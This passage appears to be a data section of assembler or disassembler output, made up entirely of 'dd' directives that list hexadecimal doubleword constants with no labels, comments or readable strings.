		dd 0D70076D3h, 5E4ABA49h, 8B208Fh, 0A9F87F1Ah, 0E7DF1067h
		dd 0D300AC7Fh, 1EA05790h, 26D4C3h, 0FA7B45F7h, 0E1C9CCB4h
		dd 0AC4BC0F7h, 19AE0300h, 0BC63E792h, 0E9D50037h, 0BFC29D1Ch
		dd 227EDE44h, 0F7B7E01Eh, 0CEC51E80h, 7013C49Bh, 855B000Bh
		dd 9CFA6BB4h, 8900BF0Ch, 0EEA80ADAh, 7264EDBCh,	88470367h
		dd 0A3B81E6Ah, 5FDCDAE0h, 0B20A43F8h, 94DD496Dh, 0DE0DF980h
		dd 70E62BCh, 0F65A653Fh, 6410493Eh, 0DE00051Ch,	0EFA32159h
		dd 6DF1D8h, 2C9E134Dh, 0B5AEE6E2h, 0CE158C1h, 6091611Bh
		dd 0DE108070h, 8C2662BFh, 3C1FF444h, 0FE80DE08h, 25BD5209h
		dd 0C703FD77h, 0EB2AAA64h, 0A0290DD9h, 0B3D17837h, 0E1841810h
		dd 74229A2Ah, 9CBA3A00h, 0FDADA40Bh, 0A59BB619h, 219C2F08h
		dd 0EE9C805Bh, 0C6F11F54h, 0D86D0203h, 8B4467h,	0B0E27A58h
		dd 0FE94CBB5h, 709CC118h, 0C0E44A81h, 0A213A989h, 0D800E69Ah
		dd 0CDB458C9h, 36F607Bh, 0DFA644C3h, 0C1D91B1Ch, 0D2A984B5h
		dd 0A4802475h, 33DD8577h, 0CB085F33h, 6DF52104h, 8E87CE24h
		dd 0A489C410h, 0A4D6F0FEh, 0F7190CD8h, 6410E3FAh, 56067200h
		dd 23D6CC01h, 8BEF58F0h, 2E5DED00h, 0E7AD5CD1h,	9FDBD301h
		dd 0FA95F353h, 7557E860h, 0B81260EEh, 8A44871Ah, 595BB326h
		dd 2019970Eh, 963A5477h, 84F017Bh, 0F1391302h, 0AB12CC28h
		dd 0BE20FE00h, 96117DE6h, 0B538005Dh, 50416E3Bh, 6DF62477h
		dd 0D77C7400h, 0D64DD33Fh, 462A00B7h, 0BF1E75E2h, 0E300F50Eh
		dd 699ED2AFh, 7B946A5Bh, 7C510038h, 4EFCD7F4h, 820016B0h
		dd 0C6C50A3h, 3F9B17h, 9CC8C48Fh, 5E237AEAh, 0EE1C77F6h
		dd 8200D415h, 3BF2C296h, 871207EFh, 0CF0C94h, 148A6680h
		dd 0F3073C7Ch, 8CC14DFAh, 0A9E9F640h, 38B900C9h, 0ED1AE613h
		dd 8CCBE0Ah, 0D021A4h, 3E99B9D1h, 0A3A92512h, 0B000E4E8h
		dd 2EFA4F0Eh, 644E90h, 0B1E089E9h, 7C41BE51h, 0BF93360Dh
		dd 48AC18FCh, 27F30C0Ch, 0AC186930h, 4F20AE5Ah,	0F6510A15h
		dd 91509A7Eh, 0B9C28046h, 8CBE1331h, 0C9A544h, 60B5B9CAh
		dd 0E3B84537h, 5C8F3E00h, 7EF5FAF4h, 582B60AAh,	0DDE23A14h
		dd 0AD77E575h, 0A753Bh
		dd 4248AE38h, 0F8D58626h, 7F9F58BDh, 0C97F4B00h, 0AAC3A40Dh
		dd 0EF26C100h, 12FF1948h, 2BB90E5Eh, 0A3E74FD6h, 0A778E3E6h
		dd 7F53AAh, 97A5929Ah, 24C9003Fh, 0E53C2830h, 78001746h
		dd 0B27AE2F0h, 2A0E7Bh,	0D625C181h, 0E3402B2Dh,	988D1600h
		dd 0A3D5AB8Fh, 4A172EB4h, 92D30086h, 0E4267D0h,	4B595Ch
		dd 8366988Ch, 0C22A056h, 0F4354B14h, 0FF21740h,	4803CB74h
		dd 9A9DBD4Dh, 0E3D3E087h, 0E19B01F1h, 895097ABh, 0B380E74Fh
		dd 0E005E68h, 5752D026h, 0C020C680h, 1CF5DD88h,	22F27F60h
		dd 0AED17800h, 70A11750h, 311003A2h, 0DD9F191Dh, 6299780Ch
		dd 0B43912h, 0E9F52445h, 2EE71415h, 6C92D207h, 12B14716h
		dd 0C6D90C9Eh, 3D3B10D4h, 91301DDFh, 0C37B1F49h, 3FB0A963h
		dd 507CADh, 4BE1B0F1h, 0ED40D7CDh, 830094E6h, 0A61DFEF4h
		dd 1E2A143Fh, 80044DDDh, 40F08A8Ch, 0E7006CA4h,	6A80242Bh
		dd 263555h, 6DFA0842h, 9E9A5988h, 295BB700h, 458D4BB3h
		dd 0EC4A01A9h, 61352634h, 130BC28h, 95C38694h, 108054A1h
		dd 0A9A0DBFh, 0F1006609h, 17696A6Bh, 715EADh, 293FDF12h
		dd 8045CDB1h, 0C2514960h, 0A8552Bh, 0BBCF1251h,	54196B42h
		dd 0EF188DE6h, 572938DEh, 0FA413ABDh, 0ACA40A0Bh, 9EAB9B81h
		dd 1F60CC2Bh, 874BD501h, 0E5EFB728h, 408EB89Fh,	25A4D1D8h
		dd 0F100B15Eh, 0D7B0BCC2h, 0B07017Fh, 460CA857h, 0AC478B8Eh
		dd 42D511A9h, 41CEE05Dh, 11DF78C3h, 0AF8040EDh,	445720Eh
		dd 780A5132h, 56EF803Bh, 0DC00B88Ch, 8362527Dh,	61FB3FCBh
		dd 74226092h, 0A5488E45h, 1BF0205Bh, 72E0FFh, 0E9D0CB16h
		dd 3ED363F2h, 806B8138h, 0F991BBD8h, 3AB79232h,	0EC007A87h
		dd 2D9B64FFh, 8D06FC37h, 5503E3C8h, 21676008h, 0F22DA343h
		dd 6B4B5A1Eh, 0E65F7200h, 20E219h, 2EF8B929h, 7E7F24EDh
		dd 84FF9E00h, 9D50EBC0h, 109FE9C7h, 2CA600F2h, 7EC3904Bh
		dd 8A81333h, 532100E7h,	0DE4AA6B7h, 0C40010FCh,	0A2B43A17h
		dd 63E3F3CDh, 3ED98884h, 0FCCC0E81h, 4018253Dh,	84A09F9Dh
		dd 0C10D0F06h, 0DB60A370h, 0F42815F6h, 0EA6016E6h, 918C9220h
		dd 62D50D42h, 80C07C3Bh, 850DEC19h, 0DFE5F4AFh,	9408011h
		dd 0FE3168BBh, 3980E719h, 2183F808h, 64092824h,	38E040E3h
		dd 1F00CDA3h, 0FD85F07Eh, 0D9874752h, 18A55860h, 0A1090846h
		dd 0F3C42168h, 92E3A40h, 0E878797Bh, 0FDA8B550h, 7301721Bh
		dd 3E56B950h, 65A680E3h, 37F00EC7h, 0B2E05594h,	7625DC04h
		dd 77852A00h, 519E3E80h, 68AF3A72h, 0FE6BFC12h,	81DBD80Bh
		dd 6F337C6h, 0A4EED4h, 12A8A349h, 0DFC27F65h, 0D4016C1Fh
		dd 18FAC0C0h, 36E49Ah, 0BDF5ECCFh, 0A3697840h, 64AEC800h
		dd 0BC3BD48Eh, 0CFAD011Bh, 744E0AFBh, 6AFEF497h, 4A7D6800h
		dd 0B3368569h, 19FEC5Fh, 0AB5E8B37h, 0C0220D2Bh, 9F42AE2h
		dd 0DAE4B77Bh, 4871F300h, 0FC806918h, 0EE3A0029h, 6490058Ah
		dd 0D80F3D70h, 0E018CA16h, 0EB87344Bh, 7B60F298h, 0CB0A00BCh
		dd 0F883E93Bh, 410008F1h, 260C90BBh, 7F2C1FB2h,	0DFD80E33h
		dd 4EC0D072h, 0F9A03D57h, 0AABE7000h, 99810B0Ah, 0A9DA00D1h
		dd 0C9E4A258h, 130065C7h, 706ED83Eh, 0C54BB4h, 0F0F1FE51h
		dd 8083F6DCh, 25860C00h, 5F21A85Ah, 1ED7038Fh, 28B7D552h
		dd 0A3B33900h, 0F108E503h, 7EC9077Bh, 0AF1B2CD9h, 0B1313220h
		dd 4339423Fh, 9A1D01CAh, 0AD5F1F7h, 0ED2BAA30h,	0A81697FCh
		dd 0A7D280h, 0E2571181h, 39D73478h, 505D8507h, 0F5B03305h
		dd 0B32132h, 0DD6AF15Ch, 4213C5FDh, 8339D903h, 0B10AD28Fh
		dd 50836FDFh, 4512DBC9h, 8E84B5F8h, 8CC50203h, 0C017C789h
		dd 25D9FDFh, 3BC3D331h,	10E0D67Ah, 0E3001874h, 0F0DB750Ah
		dd 0DA783Fh, 0A2BD6032h, 0E05DDF9Eh, 0E27FE700h, 0F990154Dh
		dd 1B18C0BBh, 5D134E46h, 0DB3CC67Ch, 0A6A70F1Ch, 88710034h
		dd 0E9FD9B9h, 5EB274DFh, 9576178h, 6300EF79h, 60868B6Fh
		dd 1E999AD7h, 80C764DFh, 0DE208C78h, 0C80F5EC3h, 87730AF0h
		dd 14FA6087h, 0E2803D1Fh, 5ADD7231h, 424F00EAh,	0D9C633FBh
		dd 451A96D1h, 1B7011CBh, 18E1B31Ch, 0B061B0E9h,	53024AFFh
		dd 956C0C6h, 144C80F1h,	0C4AA79B0h, 0C605EDE8h,	5C8520CEh
		dd 5F4F44h, 625C273Bh, 0A401AD8Ah, 0CAE0B281h, 2080C4FCh
		dd 919C9B75h, 0E500DAA7h, 15D1195Fh, 6FBDB92h, 529D4857h
		dd 0E11DC9B9h, 73C017DCh, 0C45C1C5h, 3B650119h,	0BB266631h
		dd 5C5098F3h, 0DDB59h, 36435BF6h, 8E09A0Bh, 0C1E79200h
		dd 62DD0CA9h, 9669039Ch, 0DC5FE419h, 130078E6h,	46B3B51Bh
		dd 50CD1A61h, 4588A085h, 0F13EFCB1h, 48984C50h,	0C0BE1000h
		dd 3DA0E6Bh, 5C0C77FAh,	0E74CBDD9h, 9A63DF03h, 79052246h
		dd 84709087h, 4D522404h, 0B98B903h, 0DAA5DEA8h,	0D1797A3Bh
		dd 506400D4h, 6701CAE8h, 0C6A9475Ah, 8BD6F73h, 6E9F21E0h
		dd 0C7007BAEh, 5A589591h, 90C4A188h, 1A15323Ch,	0B4306050h
		dd 5A6B11CAh, 9FE98867h, 0E0AE40B3h, 71F26699h,	524B9501h
		dd 70548711h, 3A55DDCCh, 0E1C5DB3h, 0FAD289EEh,	4FF03C00h
		dd 77124498h, 4008688h,	0C3A2990Ah, 1A160F5Ch, 0B2D64Bh
		dd 0CF09A380h, 6F2E1F06h, 441FE338h, 0FAC9DD40h, 198CAB75h
		dd 20DF0E41h, 6530DCDBh, 0C4207353h, 0D8603FBEh, 891BF15h
		dd 11DB08h, 2C7D3336h, 1801E29Dh, 35905AE1h, 94519EA8h
		dd 0D02459E4h, 8001030Ah, 37133387h, 0E800E9EFh, 459A2F38h
		dd 74D64001h, 620B7EDBh, 8B2AC58h, 175A61CAh, 9D43EDC4h
		dd 69B8AE70h, 0B71F4E29h, 0F46E454h, 0C607192h,	7E08D9F0h
		dd 5DE8DDB9h, 61CDFD30h, 0CCA8BBh, 0F573142h, 5984489h
		dd 31C0A3E8h, 5FCCC08Eh, 58491755h, 0C9B41CC8h,	0C8021FA0h
		dd 7300C57Fh, 74C9C6DAh, 9510C08Ah, 1CB5306Ch, 25BF7516h
		dd 2008F71Ah, 8A4B0AB4h, 982D0030h, 0BCCEC7F1h,	4100F308h
		dd 8C12C575h, 960FCE5h,	81100958h, 5BB80C8Ch, 0CCAA028Ch
		dd 5C7314Ch, 0C2840F16h, 0EF600ECCh, 40C1FA4Bh,	47777A06h
		dd 8658221Ch, 2704688h,	314BCCB5h, 0C12C918Fh, 0CCAE1110h
		dd 0E71F82E0h, 7D40AA8Bh, 5EB1E38Ch, 44F4A970h,	60FB81D0h
		dd 476A110Dh, 0A201B503h, 8BDFA596h, 31D1A446h,	5F202180h
		dd 91B77803h, 0CB508C62h, 0F0B2C3CAh, 30CDF41h,	935FC98Bh
		dd 6171DA70h, 343028Ch,	0A676A2A9h, 7B4C0016h, 48598A05h
		dd 8F12E24Fh, 0E40FC63Dh, 2DD4424Eh, 672BE152h,	0D0543180h
		dd 0F52082A2h, 0C2F14102h, 8AF74696h, 46765080h, 0F1020EEFh
		dd 213E49A3h, 137271C0h, 1539C420h, 0B0B7F422h,	6C771C04h
		dd 663091A2h, 309A00DAh, 72890141h, 4220F3C4h, 0E41460A3h
		dd 0DF9B3413h, 0B0583201h, 0D980C591h, 0B260243Bh, 72305FB1h
		dd 0C03488Bh, 80E7601Bh, 8FC41746h, 15E468D0h, 12B4F680h
		dd 0C400FC5Eh, 6641A5F0h, 4430C6E3h, 8D125894h,	0D81F13B4h
		dd 91750C08h, 0CAB38065h, 8C6F5A62h, 0C0900258h, 11F6C1AEh
		dd 48C0AC4Fh, 8AC82080h, 0B4034AC0h, 0F07E56A2h, 21007622h
		dd 0FA8E0362h, 3BB4D534h, 3F8367B6h, 0DE8A2C24h, 0DCACC040h
		dd 6AE89441h, 0D9F80ADAh, 82BCA4F3h, 8784763Ch,	0C05AB060h
		dd 0B160713h, 7FAE2004h, 11DD4480h, 447490B5h, 2118A31Ch
		dd 5C60F252h, 0E388A83Ah, 0AE512627h, 64261880h, 0D274670Bh
		dd 80B45C49h, 3147CCA9h
		dd 10EF8CAFh, 0CCC185h,	2739779Fh, 0CDC99AC5h, 5E378E00h
		dd 0DD711FF1h, 5A0A05Bh, 75D707A7h, 8053DB14h, 0DFFCA921h
		dd 0BB21F492h, 806F11F2h, 31619656h, 1D40A5A7h,	56CC4020h
		dd 6307AB42h, 96A13901h, 7287C023h, 1CD98050h, 5331CEA2h
		dd 0F400F015h, 782DC70Bh, 0EB008EBFh, 9CC6E94Fh, 47D73Dh
		dd 3C385220h, 0FCD37362h, 71E9A8A0h, 76F11C99h,	33043418h
		dd 9CEAE75Eh, 2274D980h, 0BA891EFh, 5420DA5Ch, 0B8EB7DC7h
		dd 9E6A5503h, 0A88B49DCh, 30D8A1C5h, 3C31ADF3h,	0A248785Eh
		dd 0C05F8014h, 880C08D8h, 0E1245CB2h, 76440074h, 2ED3E88Ch
		dd 17B8C719h, 18D44154h, 60FD6237h, 0F89070E4h,	328CD35Ch
		dd 41552164h, 6DDCCDEAh, 4CE70AFDh, 8EA40151h, 0FBE09417h
		dd 23D11D2Fh, 9FE9270Eh, 0B85E000Bh, 26916CE8h,	6246655h
		dd 0C8BFC896h, 8F41220h, 0A5A416AEh, 7142C30Ch,	0EB3D319Ah
		dd 501BF861h, 18B57CA4h, 6F953500h, 6EB1EADh, 0C0BB03C9h
		dd 0CF5FC148h, 0B4B63F8h, 0CAA531C2h, 0F00E45Bh, 9DB57ABFh
		dd 0F51E61C0h, 0E49139F9h, 4D808B91h, 46A2AB03h, 3022A443h
		dd 3654A1Ch, 5B7F1D00h,	18F857F9h, 2152E33Fh, 6EF0160Ah
		dd 12CC2648h, 0D2007FC0h, 0DCA92F5Ah, 707149F3h, 46CCB480h
		dd 448CB731h, 0AC009AB6h, 0B57686CCh, 1B48E60h,	0FC161F24h
		dd 28AB8885h, 20AF8428h, 64364800h, 0C008C66h, 1EC50EF4h
		dd 124A66Fh, 0E3C4FCCCh, 0E8F2E4E1h, 7C0185CAh,	96F0CF8Eh
		dd 408F1EB5h, 11835887h, 0F1D0DF9Ah, 8805C46Fh,	77B33F5Eh
		dd 0B9C420CBh, 701A30DAh, 6CEF1247h, 5B50C834h,	8859D4A8h
		dd 8FA69D25h, 1797A6A8h, 46D89028h, 0CABE1D5Eh,	0A5B75A44h
		dd 0B1815CA2h, 0DF3EAE5Ch, 0C4E4F8C9h, 269C739h, 11009F40h
		dd 6E0E81EDh, 92C888C2h, 70F89B43h, 2900ED87h, 245DD28Eh
		dd 4B2271ADh, 7B5840F1h, 3716AC13h, 0F81CAA37h,	1A804B87h
		dd 504D905Ah, 90178CA9h, 470E4ED0h, 0C8AA152Ch,	982E352Ch
		dd 580072E4h, 0DCCC29CBh, 1018114Dh, 5700914Ch,	4A4DFC21h
		dd 4109C26Fh, 4C4349BEh, 2DD040DCh, 0D50820A7h,	6E31C161h
		dd 0A821A90Ch, 0E61873D1h, 502C2603h, 905531EDh, 0D692345Eh
		dd 1A480450h, 62640102h, 0A048FCF2h, 0DADC018Ah, 12808DF1h
		dd 0F850E351h, 48CC254h, 1CE93068h, 0DB8361D5h,	30762F00h
		dd 0F55EDF00h, 3AD1AEB8h, 0A0D94DFAh, 83772A60h, 0E674A384h
		dd 640D3805h, 0FE00557Fh, 5BF15812h, 2680949Ah,	0C1465EA0h
		dd 79106F05h, 1658C4ABh, 0E55803C0h, 0A17C7259h, 64DD3826h
		dd 0ED9093BDh, 314F4CC0h, 0B30C2886h, 4484B094h, 6E183CBEh
		dd 0A118A9B0h, 0EFF72009h, 48A87F30h, 37F44F46h, 0D421206Eh
		dd 7114C6DAh, 5E96751Eh, 151D2A41h, 0E1FA0990h,	0C1E972D8h
		dd 975AC58h, 6D1CBE30h,	2E05009Ch, 0FA603073h, 0F7488h
		dd 4619F949h, 8BA207D5h, 6B003671h, 38C8B5BDh, 0A91EB9CAh
		dd 0AB185AA4h, 2534CC48h, 24969Fh, 0FCCC39Bh, 376A407Eh
		dd 80F45158h, 0EC9E5694h, 2C870080h, 0FDA56016h, 40001AD0h
		dd 7E6365CAh, 2E54C0F5h, 28047C6h, 0E2BA38C9h, 1C004050h
		dd 0A5215CEh, 0F0D9D3h,	45F65B73h, 4CFFB351h, 60009D7Fh
		dd 0A9B6D729h, 1A15EFBh, 0E295F5F8h, 0F06A3F7Dh, 5C5CDE63h
		dd 565B00C3h, 0B098CE71h, 18501C8Bh, 78D3C0D9h,	1199AC23h
		dd 34F6481Dh, 0AA021340h, 221D88h, 0E460F361h, 0EDB972D6h
		dd 8D393603h, 0ABE6557Ah, 3CE5A823h, 69D000AFh,	51EDC10Ch
		dd 0BD034ABEh, 0DDA391C4h, 0A09CCB53h, 0C353CE4h, 0EBBCD732h
		dd 78180A28h, 0D40E35Ah, 7C7F672h, 82D16506h, 4722C12Bh
		dd 0AF3880D3h, 2D7E9AFDh, 71760632h, 8A65AA3h, 1721E160h
		dd 0C9D7E82h, 0ED804730h, 60393A60h, 0F7AB0309h, 0C6A61DDCh
		dd 228F0B89h, 8821426h,	0C3D15Fh, 0DCF40818h, 30AA020h
		dd 0AD453D27h, 0A03C478Ch, 40C074FCh, 8B98375Ch, 0D0E938C4h
		dd 7609BC33h, 3EFC2100h, 10B9B498h, 1459005Bh, 0E7E5F7BBh
		dd 0D3F6E1BFh, 7981290Ah, 7F06AC61h, 46F07B7Dh,	7E8E010Eh
		dd 72163269h, 1389DE0Ch, 0D07FF0h, 2B96804Eh, 0B6B86675h
		dd 0B06180F3h, 378CE672h, 8A0501DEh, 0F993CB7Fh, 86BCF0E4h
		dd 0E0E3E728h, 0C8FA3020h, 83C12180h, 0AF31F67Eh, 89C7B818h
		dd 0FA3D001Ch, 603A775Eh, 0F54B19D6h, 0B5061EBDh, 0CA13DFEDh
		dd 52E3890h, 32243A8Ch,	0D719BE71h, 0B785FFCh, 7F0A1518h
		dd 7C1E3268h, 1A4BFB44h, 31AB7E83h, 4410A9C8h, 0D3E63A00h
		dd 0A390610Ch, 0C49C03D8h, 8FE5856Ah, 0D02358C0h, 414B9D30h
		dd 0B5D7DDh, 26D404DEh,	4FE92FCAh, 4DFC50E9h, 0C6022AB3h
		dd 49D745F7h, 0C42440DDh, 0CB053022h, 0E105A60h, 777FB404h
		dd 289061F5h, 48AFDCF9h, 20C030A5h, 23D83626h, 2127638Ch
		dd 6B007CAh, 4EB058F9h,	0B022EF8h, 2A4B7EAAh, 828971Ch
		dd 0FE60DCF5h, 0D57186Dh, 56114C6Ch, 595C80B0h,	0B8520B99h
		dd 18CE071Ah, 0F085A528h, 0CFDD2FBEh, 0B0205014h, 748900D4h
		dd 0EA5FA42Eh, 5D8D005Bh, 97D19153h, 0B70CE13Eh, 401ED3D2h
		dd 92D73D46h, 86520A00h, 0CFFB5366h, 0DF7C410Ch, 8CA9C07Dh
		dd 8263607h, 88AA13D8h,	401D925Bh, 9ECF0C8h, 9524EB83h
		dd 3DDD2CA0h, 3B004A1Fh, 5ED845B5h, 55273A30h, 71FCE8D7h
		dd 3C1948E6h, 93221B01h, 80AEECFCh, 48C51C58h, 0C1FC30Ch
		dd 9B5053DCh, 2E125271h, 0C012447Fh, 0C55500Ah,	42869F88h
		dd 310DCB9h, 0ED438448h, 0B19A4B21h, 864C149h, 1FED6192h
		dd 92B171B4h, 0D7243483h, 3608D02h, 4408E6A8h, 31CE8C4h
		dd 54752436h, 51099851h, 10EB95E0h, 909B2F60h, 67E61E74h
		dd 0F30C0DF9h, 2E59E006h, 23373AFCh, 2A0771C8h,	87C6E182h
		dd 0A872B08h, 255884D8h, 7957C0D1h, 0C40C8C89h,	799AA3E3h
		dd 7AC8F61Ch, 2CD615F8h, 0A900ACD0h, 66263D80h,	78768FBFh
		dd 40FAF45h, 0A51422ECh, 868778Dh, 0B3D1A3h, 27AB03C7h
		dd 0B5E092A5h, 7CBF4804h, 0AC803F09h, 3A747A4h,	32BDA9E7h
		dd 28112815h, 0DC08C1F4h, 43100AEFh, 44171984h,	8844C208h
		dd 436F48F0h, 7975829Ch, 697514A0h, 434B79C8h, 29218F08h
		dd 8B230050h, 9DCBAE26h, 6D2A9A00h, 3041C705h, 0B60E0014h
		dd 4C9BA2CEh, 0D5000347h, 20935923h, 0A52B2Ch, 0B47BC835h
		dd 0D4544D01h, 85C3AA00h, 0D2C10714h, 1F8F38C9h, 0B0271E80h
		dd 0B49756BCh, 7A2D5807h, 5E8102A3h, 8570F865h,	0C37D00DAh
		dd 0DFD02876h, 0B0003DBh, 55C88954h, 95B3B2h, 0EBE6318Ah
		dd 0F5CC2BFCh, 9230FF00h, 9BB6222Ah, 20DA6048h,	93553A7Bh
		dd 83B40802h, 0A074F66Bh, 2DB1E8D4h, 6E5900A7h,	18F50E27h
		dd 0F100910Bh, 0C9538590h, 0CF1C68h, 42659CD4h,	9B047C8Dh
		dd 0A1E08000h, 1CEB9148h, 43580390h, 7A144F34h,	79C951D8h
		dd 7371C302h, 482DF639h, 7F26C00Ch, 0BEB4002Ch,	6C31CDE6h
		dd 97003B92h, 0A286CB1Bh, 1E2A59DEh, 0F81090h, 80E76EE0h
		dd 7700BD0Eh, 2271688Eh, 0D41EDEh, 89F6927Ch, 0DCEF1B06h
		dd 69B40900h, 9018D10Fh, 7D7703AFh, 74F889B7h, 8744D6A1h
		dd 0BB504A10h, 0BA299F30h, 996F004Dh, 6C127A8Eh, 3300043Dh
		dd 0DFA2477Dh, 41D055h,	0EB265DF6h, 566F540Ah, 35BEA300h
		dd 8F7FE3FEh, 8655008Dh, 0FCBBBAFAh, 99007025h,	3D8AE72Ah
		dd 249CC31Ch, 398BCA8Dh
		dd 4BAC9D87h, 0FD4041FAh, 88884038h, 7A0086DFh,	0BDE98F0Bh
		dd 0EE30D17Fh, 0BFF51C1Dh, 0CE9A005Eh, 7722F18Eh, 1CFF1100h
		dd 0EFA74C87h, 1EA40148h, 5040D83Fh, 95F0300Fh,	3412E024h
		dd 87061603h, 11138820h, 0A4CE00B7h, 6BC8E281h,	910002A9h
		dd 0CCC5176Eh, 1E9738Dh, 0BE72A7C6h, 0CCFDF66Ah, 971CDF95h
		dd 1DCA863Dh, 1480CC01h, 2FA3697Dh, 706F0090h, 0E62C6A4Eh
		dd 0CBEA8096h, 200014FEh, 0CC3A729h, 0FADF42h, 195ADD13h
		dd 0AC946B85h, 56C97B00h, 65B6A228h, 965900FCh,	9137669h
		dd 0A5489EB0h, 98AA0F4Ch, 8012C0E5h, 21C4EFh, 0F98D5AC1h
		dd 91ECB302h, 0CE533000h, 0BA833CD6h, 0D43300A4h, 8B2E10DBh
		dd 40001959h, 0F2B9CFE3h, 0A4D6E7h, 0DC779BBEh,	6E32B290h
		dd 9730D273h, 9AF22825h, 9EFD0095h, 31D3377Bh, 0C400FA67h
		dd 68AFF839h, 3F9CEAh, 6A197A24h, 0EB062BE8h, 0B000D2B8h
		dd 0BDB81F2Ch, 3E05AE7Ch, 0C881DEF6h, 77A2C2B1h, 0BA1AFC7Bh
		dd 298E2F00h, 86245BCBh, 38711FA7h, 830540BEh, 9A21D108h
		dd 6F00097Fh, 0CF7AE4Ch, 0EEBD4E37h, 0E37500C0h, 3179CBE1h
		dd 90A0A278h, 0C9002469h, 255CA726h, 0FEC8C1h, 735A20ABh
		dd 5B7C27D6h, 0A75F0601h, 7B8B4108h, 0DEB0ECh, 0B687184Dh
		dd 8936EBDCh, 90F6AD00h, 0A7C79AE0h, 3358008Bh,	11E2CA5h
		dd 760099C1h, 0C89D5764h, 5B773A0h, 0FB421B6Eh,	0BC9C00FDh
		dd 45F1A51Dh, 37676F00h, 43141996h, 39B20475h, 0C51E8707h
		dd 28D58074h, 0DF00C086h, 29F38E91h, 101C42h, 4D1AC246h
		dd 0FECCFD39h, 0A063Ch,	0B27D830h, 12B7DE88h, 20BB2Eh
		dd 62EBAE20h, 4A0F8475h, 0A242190Fh, 40A4611Fh,	9843BED0h
		dd 0F5F40FACh, 40DDCEC4h, 0EEDB91CAh, 682C83B8h, 6400F403h
		dd 88F57B86h, 7C081FB2h, 82124067h, 0EA0F40D6h,	2A71F118h
		dd 0B2D31770h, 0BAA309DCh, 64805CCAh, 4C411EFEh, 10D1EB60h
		dd 3E2055Bh, 0BF52B772h, 87F00B2Eh, 0BC0C6FCEh,	0A0A6A816h
		dd 5A7D1Dh, 0DBB35284h,	0C7A4A213h, 0C4878F00h,	0C182BF55h
		dd 23A601DFh, 88F97D81h, 0A9930A9h, 4072C300h, 0AA633686h
		dd 2846082h, 6DE5354Bh,	88B5824h, 2CC77300h, 1A9333h, 6FE741C4h
		dd 9DEE4F06h, 0D1C08900h, 6158E932h, 0E081077Bh, 50978BE8h
		dd 5C13DA82h, 4C95ED07h, 6270636Ch, 5CCE026h, 83C3D403h
		dd 65F4C0DEh, 0F00B46Fh, 0C8325778h, 8A07A7h, 0ED31967Dh
		dd 91A354A4h, 34B510C7h, 5D4616C0h, 0EA7F0033h,	4E030FA2h
		dd 2F07373Ah, 0B6678589h, 0E175004Eh, 0F1B95A7h, 4A6611E6h
		dd 0C1989EA0h, 6B1D82ADh, 14002FCBh, 0DA7E8887h, 0E2662E19h
		dd 6CDC00AAh, 0CE9F16D6h, 4AE04300h, 0BEA627A3h, 0F375001Ch
		dd 0CDDCD51Dh, 0DF02F6FBh, 0E0A437A1h, 7C1C48D7h, 0A7B20360h
		dd 624F79CEh, 279D6AB8h, 57B01209h, 44ED803Eh, 4E517Ch
		dd 78F2B67Dh, 86CAB10h,	43831700h, 9901364h, 0C17B74h
		dd 59D236D0h, 5E6ADD46h, 9B286100h, 7C031568h, 13F77CFAh
		dd 114449h, 0CEF4E213h,	40004657h, 9C3D71BFh, 12BAB5h
		dd 4B8B3F19h, 9DECD9A6h, 85039978h, 3D247F2Dh, 8213F0F5h
		dd 489C499Fh, 62D3DA00h, 0DECA7463h, 7E3CF600h,	4EE6BBACh
		dd 8B4C0039h, 9D9C099Eh, 6800D650h, 27666289h, 4CA093E2h
		dd 3600A4CCh, 0B373BEC7h, 6C039207h, 82E634ACh,	8633C0B7h
		dd 29B200C2h, 9174C088h, 1D2E98D5h, 211DF0B5h, 1BD28180h
		dd 1F36052Ch, 40CA6AC0h, 0AA13BB15h, 4358B529h,	0AEC1037Ch
		dd 0B3939BF6h, 70C8A884h, 393B002Bh, 68CD06BEh,	103F34B1h
		dd 7C2100E7h, 2A405762h, 0D7E20238h, 0DD96F3E4h, 7E9095E0h
		dd 0ACF29700h, 55FAFBECh, 8CB2E0Ch, 0BA73004Ch,	138C2BF3h
		dd 0FB1F1B02h, 0E04F90DAh, 68AAF4h, 8902CC25h, 0C7FA6BBEh
		dd 1329A800h, 3C6FC314h, 3BF53995h, 0F1BC320Bh,	896E8380h
		dd 0D00E7468h, 80D8EC2Dh, 0AEC3ED0Fh, 0C15D002Bh, 0A124A993h
		dd 367F873Eh, 86161B03h, 0E7DE1AD1h, 8A341330h,	444300B3h
		dd 0AB3F3DB7h, 472861D4h, 0C100A0B0h, 3BF2A27Ch, 56A78Ch
		dd 4D4ADE0h, 0C9CB8035h, 63954900h, 4E0C3C99h, 363B0AD6h
		dd 98E4BDh, 0D5E18AF6h,	0F4F666D7h, 6ED4D200h, 7C220A47h
		dd 0A0410102h, 86303E98h, 0F05030E3h, 0B01D6B8h, 67ECFC70h
		dd 79DC5C08h, 98B97EE8h, 0E60400E4h, 0AA2A5E53h, 6B00BDC6h
		dd 0EED30737h, 0B6F4C3Fh, 0D6A74B7Eh, 32330100h, 89008854h
		dd 98FAB561h, 0E635EAh,	0F8252E4Dh, 54CD3606h, 21C9510Bh
		dd 0EB38203Ah, 0F023F43h, 70DFA88Dh, 0A43E8340h, 8C75E25Dh
		dd 146BC900h, 0C3CC49A3h, 0A07500B2h, 0D18D2FEAh, 3CE5E1B4h
		dd 0DEDC0038h, 0C06D97FEh, 0B6EB00E2h, 0C710B090h, 0EF3F757Fh
		dd 98C51D05h, 9E89803Fh, 1A38D2BFh, 137BF0h, 99F16285h
		dd 711F94D0h, 0F4BFBC12h, 159E3C02h, 3F620375h,	0A03312C8h
		dd 421F81B0h, 0F404F49h, 4637AD77h, 0FBDE005Fh,	0BD183688h
		dd 154ED0DFh, 78EB7000h, 1DC7865Ah, 34667Ch, 87C397FDh
		dd 68CEF069h, 9D6360F3h, 482EF8BDh, 80187C1h, 0D9A14F60h
		dd 0AE69C058h, 0F7427200h, 1A2F05B3h, 18B83E9Dh, 6A480C00h
		dd 36B516E0h, 4A81E900h, 0EA3AC6A4h, 8E4ABFh, 2FCA43B8h
		dd 6B39B0D4h, 0B05BC25h, 0EA56170h, 23801D5Ch, 291F558Dh
		dd 9643979Ah, 3363F5A8h, 56FE8003h, 90616E25h, 9C95C7h
		dd 374DEB22h, 68E982EAh, 7DBF5600h, 71D17E4Ch, 121B0097h
		dd 305283B4h, 0D001AFCh, 0C45E9A17h, 275CCDEBh,	24A01D53h
		dd 3F562661h, 0B5CBA8C0h, 98F463h, 0B2626B34h, 6C8E0F25h
		dd 0D10554E8h, 56AA164Fh, 5F3F9C43h, 6CBDC0E6h,	364903F3h
